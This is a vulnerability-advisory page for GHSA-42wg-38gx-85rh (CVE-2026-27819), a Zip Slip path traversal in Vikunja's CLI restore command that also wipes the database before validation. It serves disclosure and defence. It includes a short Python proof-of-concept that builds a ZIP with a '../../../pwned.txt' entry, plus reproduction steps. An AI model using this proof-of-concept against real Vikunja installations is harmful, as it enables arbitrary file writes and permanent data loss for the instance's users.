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Not in CISA KEV
HIGH severity

Vikunja has Path Traversal in CLI RestoreGHSA-42wg-38gx-85rh

HIGHFix: go-vikunja/vikunja@1b3d8dc

GHSA-42wg-38gx-85rh is a high-severity (CVSS 7.2) Path Traversal vulnerability in code.vikunja.io/api. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

Also known asCVE-2026-27819GO-2026-4556
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-42wg-38gx-85rh.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk
0.00%0.46%0.92%1.38%0.0%0.8%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Path Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.

Details

The restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently.

The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory.

The restoration logic assumes a specific directory structure within the ZIP. When provided with a "minimalist" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic.

PoC

When provided with a ZIP containing a traversal path (e.g., ../../../pwned.txt) and a missing migration structure, the application wipes the existing database and then panics due to unsafe index manipulation at line 154 of restore.go.

Reproduction Steps:

  1. Preparation: Generate vikunja_critical_poc.zip.
  2. Execution: Run echo "Yes, I understand" | vikunja restore vikunja_critical_poc.zip.
  3. Observation: a. The application logs INFO: Wiped database. b. The application immediately follows with: panic: runtime error: index out of range [-2].
  4. The database is effectively deleted (Wiped), and the restoration process fails to complete, leaving the application in a non-functional state with total data loss for that instance.

Reproduction Python Script:

import zipfile

VIKUNJA_VERSION = "v1.1.0" 
ZIP_NAME = "vikunja_critical_poc.zip"

def create_poc():
    with zipfile.ZipFile(ZIP_NAME, 'w') as zipf:
        # Mandatory version file to pass initial check
        zipf.writestr('VERSION', VIKUNJA_VERSION)

        # Malicious traversal path
        # This triggers the traversal logic and the index panic simultaneously
        zipf.writestr('../../../pwned.txt', "Vulnerability Confirmed.")
    print(f"[+] {ZIP_NAME} created.")

if __name__ == "__main__":
    create_poc()

Stack Trace: time=2026-02-21T23:07:22.707Z level=INFO msg="Wiped database." panic: runtime error: index out of range [-2] goroutine 1 [running]: code.vikunja.io/api/pkg/modules/dump.Restore(...) /go/src/code.vikunja.io/api/pkg/modules/dump/restore.go:154 +0x1085

Remediation: Sanitize Paths: Use filepath.Base() to strip all directory information from ZIP entries before processing. Implement Bounds Checking: Ensure slices have sufficient length before performing index arithmetic.

Proposed Fix for restore.go:

// 1. Sanitize the filename
filename := filepath.Base(configFile.Name)
dstPath := filepath.Join(extractionDir, filename)

// ...

// 2. Prevent Index Out of Range Panic (Line 154)
if len(ms) < 2 {
    return fmt.Errorf("invalid migration sequence in backup archive")
}
lastMigration := ms[len(ms)-2]

Impact

Vulnerability Type: CWE-22 (Path Traversal) / CWE-248 (Uncaught Exception) Affected Component: pkg/modules/dump/restore.go Impact: Arbitrary File Write and Permanent Data Loss Status: Vikunja has not found an existing CVE for these issues; they appear to be undisclosed Zero-Days. Source File: pkg/modules/dump/restore.go Functions: Restore, restoreConfig Line Number: 154 (v1.1.0) Command: vikunja restore <path_to_zip>

Affected Party: Any administrator or automated process utilizing the vikunja restore CLI command.

  1. Specifically, instances where a user may be socially engineered into restoring a backup from an untrusted source are at high risk.
  2. Additionally, because the database is wiped before archive validation, even a failed exploitation attempt results in a complete loss of application data for that instance, impacting all end-users of the affected Vikunja installation.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versionsNo fix

Affected Products

1 product · 1 configurations
Application
vikunjavikunja
< 2.0.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of code.vikunja.io/api for GHSA-42wg-38gx-85rh. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary Path Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality. ### Details The restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database ha
O3 Security · Impact-Aware SCA

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Vikunja has Path Traversal in CLI Restore (High 7.2)